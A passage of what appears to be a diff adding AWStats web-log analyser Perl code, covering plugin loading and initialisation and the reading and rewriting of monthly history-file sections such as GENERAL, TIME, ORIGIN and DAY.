2 ); + $pluginparam ||= + ""; # If split has only on part, pluginparam is not initialized + $pluginfile =~ s/\.pm$//i; + $pluginfile =~ /([^\/\\]+)$/; + $pluginfile = Sanitize($1); # pluginfile is cleaned from any path for security reasons and from .pm + my $pluginname = $pluginfile; + if ( $NoLoadPlugin{$pluginname} && $NoLoadPlugin{$pluginname} > 0 ) { + if ($Debug) { + debug( +" Plugin load for '$pluginfile' has been disabled from parameters" + ); + } + next; + } + if ($pluginname) { + if ( !$PluginsLoaded{'init'}{"$pluginname"} ) + { # Plugin not already loaded + my %pluginisfor = ( + 'timehires' => 'u', + 'ipv6' => 'u', + 'hashfiles' => 'u', + 'geoipfree' => 'u', + 'geoip' => 'ou', + 'geoip_region_maxmind' => 'mou', + 'geoip_city_maxmind' => 'mou', + 'geoip_isp_maxmind' => 'mou', + 'geoip_org_maxmind' => 'mou', + 'timezone' => 'ou', + 'decodeutfkeys' => 'o', + 'hostinfo' => 'o', + 'rawlog' => 'o', + 'userinfo' => 'o', + 'urlalias' => 'o', + 'tooltips' => 'o' + ); + if ( $pluginisfor{$pluginname} ) + { # If it's a known plugin, may be we don't need to load it + # Do not load "menu handler plugins" if output only and mainleft frame + if ( !$UpdateStats + && scalar keys %HTMLOutput + && $FrameName eq 'mainleft' + && $pluginisfor{$pluginname} !~ /m/ ) + { + $PluginsLoaded{'init'}{"$pluginname"} = 1; + next; + } + + # Do not load "update plugins" if output only + if ( !$UpdateStats + && scalar keys %HTMLOutput + && $pluginisfor{$pluginname} !~ /o/ ) + { + $PluginsLoaded{'init'}{"$pluginname"} = 1; + next; + } + + # Do not load "output plugins" if update only + if ( $UpdateStats + && !scalar keys %HTMLOutput + && $pluginisfor{$pluginname} !~ /u/ ) + { + $PluginsLoaded{'init'}{"$pluginname"} = 1; + next; + } + } + + # Load plugin + foreach my $dir (@PossiblePluginsDir) { + my $searchdir = $dir; + if ( $searchdir + && ( !( $searchdir =~ /\/$/ ) ) + && ( !( $searchdir =~ /\\$/ ) ) ) + { + $searchdir .= "/"; + } + my $pluginpath = "${searchdir}${pluginfile}.pm"; + if ( -s "$pluginpath" ) { + $PluginDir = "${searchdir}"; # Set plugin dir + if ($Debug) { + debug( +" Try to init plugin '$pluginname' ($pluginpath) with param '$pluginparam'", + 1 + ); + } + if ( !$DirAddedInINC{"$dir"} ) { + push @INC, "$dir"; + $DirAddedInINC{"$dir"} = 1; + } + my $loadret = 0; + my $modperl = $ENV{"MOD_PERL"} + ? eval { + require mod_perl; + $mod_perl::VERSION >= 1.99 ? 2 : 1; + } + : 0; + if ( $modperl == 2 ) { + $loadret = require "$pluginpath"; + } + else { $loadret = require "$pluginfile.pm"; } + if ( !$loadret || $loadret =~ /^error/i ) { + + # Load failed, we stop here + error( +"Plugin load for plugin '$pluginname' failed with return code: $loadret" + ); + } + my $ret; # To get init return + my $initfunction = + "\$ret=Init_$pluginname('$pluginparam')"; + my $initret = eval("$initfunction"); + if ( $initret && $initret eq 'xxx' ) { + $initret = +'Error: The PluginHooksFunctions variable defined in plugin file does not contain list of hooked functions'; + } + if ( !$initret || $initret =~ /^error/i ) { + + # Init function failed, we stop here + error( +"Plugin init for plugin '$pluginname' failed with return code: " + . ( + $initret + ? "$initret" + : "$@ (A module required by plugin might be missing)." + ) + ); + } + + # Plugin load and init successfull + foreach my $elem ( split( /\s+/, $initret ) ) { + + # Some functions can only be plugged once + my @uniquefunc = ( + 'GetCountryCodeByName', + 'GetCountryCodeByAddr', + 'ChangeTime', + 'GetTimeZoneTitle', + 'GetTime', + 'SearchFile', + 'LoadCache', + 'SaveHash', + 'ShowMenu' + ); + my $isuniquefunc = 0; + foreach my $function (@uniquefunc) { + if ( "$elem" eq "$function" ) { + + # We try to load a 'unique' function, so we check and stop if already loaded + foreach my $otherpluginname ( + keys %{ $PluginsLoaded{"$elem"} } ) + { + error( +"Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible." + ); + } + $isuniquefunc = 1; + last; + } + } + if ($isuniquefunc) { + + # TODO Use $PluginsLoaded{"$elem"}="$pluginname"; for unique func + $PluginsLoaded{"$elem"}{"$pluginname"} = 1; + } + else { $PluginsLoaded{"$elem"}{"$pluginname"} = 1; } + if ( "$elem" =~ /SectionInitHashArray/ ) { + $AtLeastOneSectionPlugin = 1; + } + } + $PluginsLoaded{'init'}{"$pluginname"} = 1; + if ($Debug) { + debug( +" Plugin '$pluginname' now hooks functions '$initret'", + 1 + ); + } + last; + } + } + if ( !$PluginsLoaded{'init'}{"$pluginname"} ) { + error( +"AWStats config file contains a directive to load plugin \"$pluginname\" (LoadPlugin=\"$plugininfo\") but AWStats can't open plugin file \"$pluginfile.pm\" for read.\nCheck if file is in \"" + . ( $PossiblePluginsDir[0] ) + . "\" directory and is readable." ); + } + } + else { + warning( +"Warning: Tried to load plugin \"$pluginname\" twice. Fix config file." + ); + } + } + else { + error("Plugin \"$pluginfile\" is not a valid plugin name."); + } + } + +# In output mode, geo ip plugins are not loaded, so message changes are done here (can't be done in plugin init function) + if ( $PluginsLoaded{'init'}{'geoip'} + || $PluginsLoaded{'init'}{'geoipfree'} ) + { + $Message[17] = $Message[25] = $Message[148]; + } +} + +#------------------------------------------------------------------------------ +# Function: Read history file and create or update tmp history file +# Parameters: year,month,day,hour,withupdate,withpurge,part_to_load[,lastlinenb,lastlineoffset,lastlinechecksum] +# Input: $DirData $PROG $FileSuffix $LastLine $DatabaseBreak +# Output: None +# Return: Tmp history file name created/updated or '' if withupdate is 0 +#------------------------------------------------------------------------------ +sub Read_History_With_TmpUpdate { + + my $year = sprintf( "%04i", shift || 0 ); + my $month = sprintf( "%02i", shift || 0 ); + my $day = shift; + if ( $day ne '' ) { $day = sprintf( "%02i", $day ); } + my $hour = shift; + if ( $hour ne '' ) { $hour = sprintf( "%02i", $hour ); } + my $withupdate = shift || 0; + my $withpurge = shift || 0; + my $part = shift || ''; + + my ( $date, $filedate ) = ( '', '' ); + if ( $DatabaseBreak eq 'month' ) { + $date = sprintf( "%04i%02i", $year, $month ); + $filedate = sprintf( "%02i%04i", $month, $year ); + } + elsif ( $DatabaseBreak eq 'year' ) { + $date = sprintf( "%04i%", $year ); + $filedate = sprintf( "%04i", $year ); + } + elsif ( $DatabaseBreak eq 'day' ) { + $date = sprintf( "%04i%02i%02i", $year, $month, $day ); + $filedate = sprintf( "%02i%04i%02i", $month, $year, $day ); + } + elsif ( $DatabaseBreak eq 'hour' ) { + $date = sprintf( "%04i%02i%02i%02i", $year, $month, $day, $hour ); + $filedate = sprintf( "%02i%04i%02i%02i", $month, $year, $day, $hour ); + } + + my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 ); + my $xmleb = '</table><nu>'; + my $xmlrb = '<tr><td>'; + + my $lastlinenb = shift || 0; + my $lastlineoffset = shift || 0; + my $lastlinechecksum = shift || 0; + + my %allsections = ( + 'general' => 1, + 'misc' => 2, + 'time' => 3, + 'visitor' => 4, + 'day' => 5, + 'domain' => 6, + 'cluster' => 7, + 'login' => 8, + 'robot' => 9, + 'worms' => 10, + 'emailsender' => 11, + 'emailreceiver' => 12, + 'session' => 13, + 'sider' => 14, + 'filetypes' => 15, + 'downloads' => 16, + 'os' => 17, + 'browser' => 18, + 'screensize' => 19, + 'unknownreferer' => 20, + 'unknownrefererbrowser' => 21, + 'origin' => 22, + 'sereferrals' => 23, + 'pagerefs' => 24, + 'searchwords' => 25, + 'keywords' => 26, + 'errors' => 27, + ); + + my $order = ( scalar keys %allsections ) + 1; + foreach ( keys %TrapInfosForHTTPErrorCodes ) { + $allsections{"sider_$_"} = $order++; + } + foreach ( 1 .. @ExtraName - 1 ) { $allsections{"extra_$_"} = $order++; } + foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { + $allsections{"plugin_$_"} = $order++; + } + my $withread = 0; + + # Variable used to read old format history files + my $readvisitorforbackward = 0; + + if ($Debug) { + debug( +"Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]" + ); + } + if ($Debug) { debug("date=$date"); } + + # Define SectionsToLoad (which sections to load) + my %SectionsToLoad = (); + if ( $part eq 'all' ) { # Load all needed sections + my $order = 1; + $SectionsToLoad{'general'} = $order++; + + # When + $SectionsToLoad{'time'} = $order + ++; # Always loaded because needed to count TotalPages, TotalHits, TotalBandwidth + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowHostsStats ) + || $HTMLOutput{'allhosts'} + || $HTMLOutput{'lasthosts'} + || $HTMLOutput{'unknownip'} ) + { + $SectionsToLoad{'visitor'} = $order++; + } # Must be before day, sider and session section + if ( + $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} + && ( $ShowDaysOfWeekStats || $ShowDaysOfMonthStats ) ) + || $HTMLOutput{'alldays'} + ) + { + $SectionsToLoad{'day'} = $order++; + } + + # Who + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowDomainsStats ) + || $HTMLOutput{'alldomains'} ) + { + $SectionsToLoad{'domain'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowAuthenticatedUsers ) + || $HTMLOutput{'alllogins'} + || $HTMLOutput{'lastlogins'} ) + { + $SectionsToLoad{'login'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowRobotsStats ) + || $HTMLOutput{'allrobots'} + || $HTMLOutput{'lastrobots'} ) + { + $SectionsToLoad{'robot'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowWormsStats ) + || $HTMLOutput{'allworms'} + || $HTMLOutput{'lastworms'} ) + { + $SectionsToLoad{'worms'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowEMailSenders ) + || $HTMLOutput{'allemails'} + || $HTMLOutput{'lastemails'} ) + { + $SectionsToLoad{'emailsender'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowEMailReceivers ) + || $HTMLOutput{'allemailr'} + || $HTMLOutput{'lastemailr'} ) + { + $SectionsToLoad{'emailreceiver'} = $order++; + } + + # Navigation + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowSessionsStats ) + || $HTMLOutput{'sessions'} ) + { + $SectionsToLoad{'session'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowPagesStats ) + || $HTMLOutput{'urldetail'} + || $HTMLOutput{'urlentry'} + || $HTMLOutput{'urlexit'} ) + { + $SectionsToLoad{'sider'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowFileTypesStats ) + || $HTMLOutput{'filetypes'} ) + { + $SectionsToLoad{'filetypes'} = $order++; + } + + if ( $UpdateStats + || $MigrateStats + || ($HTMLOutput{'main'} && $ShowDownloadsStats ) + || $HTMLOutput{'downloads'} ) + { + $SectionsToLoad{'downloads'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowOSStats ) + || $HTMLOutput{'osdetail'} ) + { + $SectionsToLoad{'os'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowBrowsersStats ) + || $HTMLOutput{'browserdetail'} ) + { + $SectionsToLoad{'browser'} = $order++; + } + if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownos'} ) { + $SectionsToLoad{'unknownreferer'} = $order++; + } + if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownbrowser'} ) { + $SectionsToLoad{'unknownrefererbrowser'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowScreenSizeStats ) ) + { + $SectionsToLoad{'screensize'} = $order++; + } + + # Referers + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowOriginStats ) + || $HTMLOutput{'origin'} ) + { + $SectionsToLoad{'origin'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowOriginStats ) + || $HTMLOutput{'refererse'} ) + { + $SectionsToLoad{'sereferrals'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowOriginStats ) + || $HTMLOutput{'refererpages'} ) + { + $SectionsToLoad{'pagerefs'} = $order++; + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowKeyphrasesStats ) + || $HTMLOutput{'keyphrases'} + || $HTMLOutput{'keywords'} ) + { + $SectionsToLoad{'searchwords'} = $order++; + } + if ( !$withupdate && $HTMLOutput{'main'} && $ShowKeywordsStats ) { + $SectionsToLoad{'keywords'} = $order++; + } # If we update, dont need to load + # Others + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowMiscStats ) ) + { + $SectionsToLoad{'misc'} = $order++; + } + if ( + $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} + && ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) ) + || $HTMLOutput{'errors'} + ) + { + $SectionsToLoad{'errors'} = $order++; + } + foreach ( keys %TrapInfosForHTTPErrorCodes ) { + if ( $UpdateStats || $MigrateStats || $HTMLOutput{"errors$_"} ) { + $SectionsToLoad{"sider_$_"} = $order++; + } + } + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ShowClusterStats ) ) + { + $SectionsToLoad{'cluster'} = $order++; + } + foreach ( 1 .. @ExtraName - 1 ) { + if ( $UpdateStats + || $MigrateStats + || ( $HTMLOutput{'main'} && $ExtraStatTypes[$_] ) + || $HTMLOutput{"allextra$_"} ) + { + $SectionsToLoad{"extra_$_"} = $order++; + } + } + foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { + if ( $UpdateStats || $MigrateStats || $HTMLOutput{"plugin_$_"} ) { + $SectionsToLoad{"plugin_$_"} = $order++; + } + } + } + else { # Load only required sections + my $order = 1; + foreach ( split( /\s+/, $part ) ) { $SectionsToLoad{$_} = $order++; } + } + + # Define SectionsToSave (which sections to save) + my %SectionsToSave = (); + if ($withupdate) { + if ( $SectionsToBeSaved eq 'all' ) { + %SectionsToSave = %allsections; + } + else { + my $order = 1; + foreach ( split( /\s+/, $SectionsToBeSaved ) ) { + $SectionsToSave{$_} = $order++; + } + } + } + + if ($Debug) { + debug( + " List of sections marked for load : " + . join( + ' ', + ( + sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} } + keys %SectionsToLoad + ) + ), + 2 + ); + debug( + " List of sections marked for save : " + . join( + ' ', + ( + sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} } + keys %SectionsToSave + ) + ), + 2 + ); + } + +# Define value for filetowrite and filetoread (Month before Year kept for backward compatibility) + my $filetowrite = ''; + my $filetoread = ''; + if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} + && -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$" ) + { + + # tmp history file was already flushed + $filetoread = "$DirData/$PROG$filedate$FileSuffix.tmp.$$"; + $filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$.bis"; + } + else { + $filetoread = "$DirData/$PROG$filedate$FileSuffix.txt"; + $filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$"; + } + if ($Debug) { debug( " History file to read is '$filetoread'", 2 ); } + +# Is there an old data file to read or, if migrate, can we open the file for read + if ( -s $filetoread || $MigrateStats ) { $withread = 1; } + + # Open files + if ($withread) { + open( HISTORY, $filetoread ) + || error( "Couldn't open file \"$filetoread\" for read: $!", + "", "", $MigrateStats ); + binmode HISTORY + ; # Avoid premature EOF due to history files corrupted with \cZ or bin chars + } + if ($withupdate) { + open( HISTORYTMP, ">$filetowrite" ) + || error("Couldn't open file \"$filetowrite\" for write: $!"); + binmode HISTORYTMP; + if ($xml) { + print HISTORYTMP +'<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.awstats.org/files/awstats.xsd">' + . "\n\n"; + } + Save_History( "header", $year, $month, $date ); + } + + # Loop on read file + my $readxml = 0; + if ($withread) { + my $countlines = 0; + my $versionnum = 0; + my @field = (); + while (<HISTORY>) { + chomp $_; + s/\r//; + $countlines++; + + # Test if it's xml + if ( !$readxml && $_ =~ /^<xml/ ) { + $readxml = 1; + if ($Debug) { debug( " Data file format is 'xml'", 1 ); } + next; + } + + # Extract version from first line + if ( !$versionnum && $_ =~ /^AWSTATS DATA FILE (\d+).(\d+)/i ) { + $versionnum = ( $1 * 1000 ) + $2; + if ($Debug) { debug( " Data file version is $versionnum", 1 ); } + next; + } + + # Analyze fields + @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + if ( !$field[0] ) { next; } + + # Here version MUST be defined + if ( $versionnum < 5000 ) { + error( +"History file '$filetoread' is to old (version '$versionnum'). This version of AWStats is not compatible with very old history files. Remove this history file or use first a previous AWStats version to migrate it from command line with command: $PROG.$Extension -migrate=\"$filetoread\".", + "", "", 1 + ); + } + + # BEGIN_GENERAL + # TODO Manage GENERAL in a loop like other sections. + if ( $field[0] eq 'BEGIN_GENERAL' ) { + if ($Debug) { debug(" Begin of GENERAL section"); } + next; + } + if ( $field[0] eq 'LastLine' || $field[0] eq "${xmlrb}LastLine" ) { + if ( !$LastLine || $LastLine < int( $field[1] ) ) { + $LastLine = int( $field[1] ); + } + if ( $field[2] ) { $LastLineNumber = int( $field[2] ); } + if ( $field[3] ) { $LastLineOffset = int( $field[3] ); } + if ( $field[4] ) { $LastLineChecksum = int( $field[4] ); } + next; + } + if ( $field[0] eq 'FirstTime' || $field[0] eq "${xmlrb}FirstTime" ) + { + if ( !$FirstTime{$date} + || $FirstTime{$date} > int( $field[1] ) ) + { + $FirstTime{$date} = int( $field[1] ); + } + next; + } + if ( $field[0] eq 'LastTime' || $field[0] eq "${xmlrb}LastTime" ) { + if ( !$LastTime{$date} || $LastTime{$date} < int( $field[1] ) ) + { + $LastTime{$date} = int( $field[1] ); + } + next; + } + if ( $field[0] eq 'LastUpdate' + || $field[0] eq "${xmlrb}LastUpdate" ) + { + if ( !$LastUpdate ) { $LastUpdate = int( $field[1] ); } + next; + } + if ( $field[0] eq 'TotalVisits' + || $field[0] eq "${xmlrb}TotalVisits" ) + { + if ( !$withupdate ) { + $MonthVisits{ $year . $month } += int( $field[1] ); + } + next; + } + if ( $field[0] eq 'TotalUnique' + || $field[0] eq "${xmlrb}TotalUnique" ) + { + if ( !$withupdate ) { + $MonthUnique{ $year . $month } += int( $field[1] ); + } + next; + } + if ( $field[0] eq 'MonthHostsKnown' + || $field[0] eq "${xmlrb}MonthHostsKnown" ) + { + if ( !$withupdate ) { + $MonthHostsKnown{ $year . $month } += int( $field[1] ); + } + next; + } + if ( $field[0] eq 'MonthHostsUnknown' + || $field[0] eq "${xmlrb}MonthHostsUnknown" ) + { + if ( !$withupdate ) { + $MonthHostsUnknown{ $year . $month } += int( $field[1] ); + } + next; + } + if ( + ( + $field[0] eq 'END_GENERAL' + || $field[0] eq "${xmleb}END_GENERAL" + ) + ) + { + if ($Debug) { debug(" End of GENERAL section"); } + if ( $MigrateStats && !$BadFormatWarning{ $year . $month } ) { + $BadFormatWarning{ $year . $month } = 1; + warning( +"Warning: You are migrating a file that is already a recent version (migrate not required for files version $versionnum).", + "", "", 1 + ); + } + + delete $SectionsToLoad{'general'}; + if ( $SectionsToSave{'general'} ) { + Save_History( 'general', $year, $month, $date, $lastlinenb, + $lastlineoffset, $lastlinechecksum ); + delete $SectionsToSave{'general'}; + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_MISC + if ( $field[0] eq 'BEGIN_MISC' ) { + if ($Debug) { debug(" Begin of MISC section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'misc'} ) { + $countloaded++; + if ( $field[1] ) { + $_misc_p{ $field[0] } += int( $field[1] ); + } + if ( $field[2] ) { + $_misc_h{ $field[0] } += int( $field[2] ); + } + if ( $field[3] ) { + $_misc_k{ $field[0] } += int( $field[3] ); + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_MISC' + || $field[0] eq "${xmleb}END_MISC" + || !$_ ); + if ( $field[0] ne 'END_MISC' + && $field[0] ne "${xmleb}END_MISC" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section MISC not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of MISC section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'misc'}; + if ( $SectionsToSave{'misc'} ) { + Save_History( 'misc', $year, $month, $date ); + delete $SectionsToSave{'misc'}; + if ($withpurge) { + %_misc_p = (); + %_misc_h = (); + %_misc_k = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_CLUSTER + if ( $field[0] eq 'BEGIN_CLUSTER' ) { + if ($Debug) { debug(" Begin of CLUSTER section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'cluster'} ) { + $countloaded++; + if ( $field[1] ) { + $_cluster_p{ $field[0] } += int( $field[1] ); + } + if ( $field[2] ) { + $_cluster_h{ $field[0] } += int( $field[2] ); + } + if ( $field[3] ) { + $_cluster_k{ $field[0] } += int( $field[3] ); + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_CLUSTER' + || $field[0] eq "${xmleb}END_CLUSTER" + || !$_ ); + if ( $field[0] ne 'END_CLUSTER' + && $field[0] ne "${xmleb}END_CLUSTER" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section CLUSTER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of CLUSTER section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'cluster'}; + if ( $SectionsToSave{'cluster'} ) { + Save_History( 'cluster', $year, $month, $date ); + delete $SectionsToSave{'cluster'}; + if ($withpurge) { + %_cluster_p = (); + %_cluster_h = (); + %_cluster_k = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_TIME + if ( $field[0] eq 'BEGIN_TIME' ) { + my $monthpages = 0; + my $monthhits = 0; + my $monthbytes = 0; + my $monthnotviewedpages = 0; + my $monthnotviewedhits = 0; + my $monthnotviewedbytes = 0; + if ($Debug) { debug(" Begin of TIME section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + + if ( $field[0] ne '' ) + { # Test on ne '' because field[0] is '0' for hour 0) + $count++; + if ( $SectionsToLoad{'time'} ) { + if ( $withupdate + || $MonthRequired eq 'all' + || $MonthRequired eq "$month" ) + { # Still required + $countloaded++; + if ( $field[1] ) { + $_time_p[ $field[0] ] += int( $field[1] ); + } + if ( $field[2] ) { + $_time_h[ $field[0] ] += int( $field[2] ); + } + if ( $field[3] ) { + $_time_k[ $field[0] ] += int( $field[3] ); + } + if ( $field[4] ) { + $_time_nv_p[ $field[0] ] += + int( $field[4] ); + } + if ( $field[5] ) { + $_time_nv_h[ $field[0] ] += + int( $field[5] ); + } + if ( $field[6] ) { + $_time_nv_k[ $field[0] ] += + int( $field[6] ); + } + } + $monthpages += int( $field[1] ); + $monthhits += int( $field[2] ); + $monthbytes += int( $field[3] ); + $monthnotviewedpages += int( $field[4] || 0 ); + $monthnotviewedhits += int( $field[5] || 0 ); + $monthnotviewedbytes += int( $field[6] || 0 ); + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_TIME' + || $field[0] eq "${xmleb}END_TIME" + || !$_ ); + if ( $field[0] ne 'END_TIME' + && $field[0] ne "${xmleb}END_TIME" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section TIME not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of TIME section ($count entries, $countloaded loaded)" + ); + } + $MonthPages{ $year . $month } += $monthpages; + $MonthHits{ $year . $month } += $monthhits; + $MonthBytes{ $year . $month } += $monthbytes; + $MonthNotViewedPages{ $year . $month } += $monthnotviewedpages; + $MonthNotViewedHits{ $year . $month } += $monthnotviewedhits; + $MonthNotViewedBytes{ $year . $month } += $monthnotviewedbytes; + delete $SectionsToLoad{'time'}; + + if ( $SectionsToSave{'time'} ) { + Save_History( 'time', $year, $month, $date ); + delete $SectionsToSave{'time'}; + if ($withpurge) { + @_time_p = (); + @_time_h = (); + @_time_k = (); + @_time_nv_p = (); + @_time_nv_h = (); + @_time_nv_k = (); + } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_ORIGIN + if ( $field[0] eq 'BEGIN_ORIGIN' ) { + if ($Debug) { debug(" Begin of ORIGIN section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'origin'} ) { + if ( $field[0] eq 'From0' ) { + $_from_p[0] += $field[1]; + $_from_h[0] += $field[2]; + } + elsif ( $field[0] eq 'From1' ) { + $_from_p[1] += $field[1]; + $_from_h[1] += $field[2]; + } + elsif ( $field[0] eq 'From2' ) { + $_from_p[2] += $field[1]; + $_from_h[2] += $field[2]; + } + elsif ( $field[0] eq 'From3' ) { + $_from_p[3] += $field[1]; + $_from_h[3] += $field[2]; + } + elsif ( $field[0] eq 'From4' ) { + $_from_p[4] += $field[1]; + $_from_h[4] += $field[2]; + } + elsif ( $field[0] eq 'From5' ) { + $_from_p[5] += $field[1]; + $_from_h[5] += $field[2]; + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_ORIGIN' + || $field[0] eq "${xmleb}END_ORIGIN" + || !$_ ); + if ( $field[0] ne 'END_ORIGIN' + && $field[0] ne "${xmleb}END_ORIGIN" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section ORIGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of ORIGIN section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'origin'}; + if ( $SectionsToSave{'origin'} ) { + Save_History( 'origin', $year, $month, $date ); + delete $SectionsToSave{'origin'}; + if ($withpurge) { @_from_p = (); @_from_h = (); } + } + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_DAY + if ( $field[0] eq 'BEGIN_DAY' ) { + if ($Debug) { debug(" Begin of DAY section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + if ( $SectionsToLoad{'day'} ) { + $countloaded++; + if ( $field[1] ) { + $DayPages{ $field[0] } += int( $field[1] ); + } + $DayHits{ $field[0] } += + int( $field[2] ) + ; # DayHits always load (should be >0 and if not it's a day YYYYMM00 resulting of an old file migration) + if ( $field[3] ) { + $DayBytes{ $field[0] } += int( $field[3] ); + } + if ( $field[4] ) { + $DayVisits{ $field[0] } += int( $field[4] ); + } + } + } + $_ = <HISTORY>; + chomp $_; + s/\r//; + @field = + split( /\s+/, + ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); + $countlines++; + } until ( $field[0] eq 'END_DAY' + || $field[0] eq "${xmleb}END_DAY" + || !$_ ); + if ( $field[0] ne 'END_DAY' && $field[0] ne "${xmleb}END_DAY" ) + { + error( +"History file \"$filetoread\" is corrupted (End of section DAY not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", + "", "", 1 + ); + } + if ($Debug) { + debug( +" End of DAY section ($count entries, $countloaded loaded)" + ); + } + delete $SectionsToLoad{'day'}; + +# WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR +#if ($SectionsToSave{'day'}) { # Must be made after read of visitor +# Save_History('day',$year,$month,$date); delete $SectionsToSave{'day'}; +# if ($withpurge) { %DayPages=(); %DayHits=(); %DayBytes=(); %DayVisits=(); } +#} + if ( !scalar %SectionsToLoad ) { + debug(" Stop reading history file. Got all we need."); + last; + } + next; + } + + # BEGIN_VISITOR + if ( $field[0] eq 'BEGIN_VISITOR' ) { + if ($Debug) { debug(" Begin of VISITOR section"); } + $field[0] = ''; + my $count = 0; + my $countloaded = 0; + do { + if ( $field[0] ) { + $count++; + + # For backward compatibility + if ($readvisitorforbackward) { + if ( $field[1] 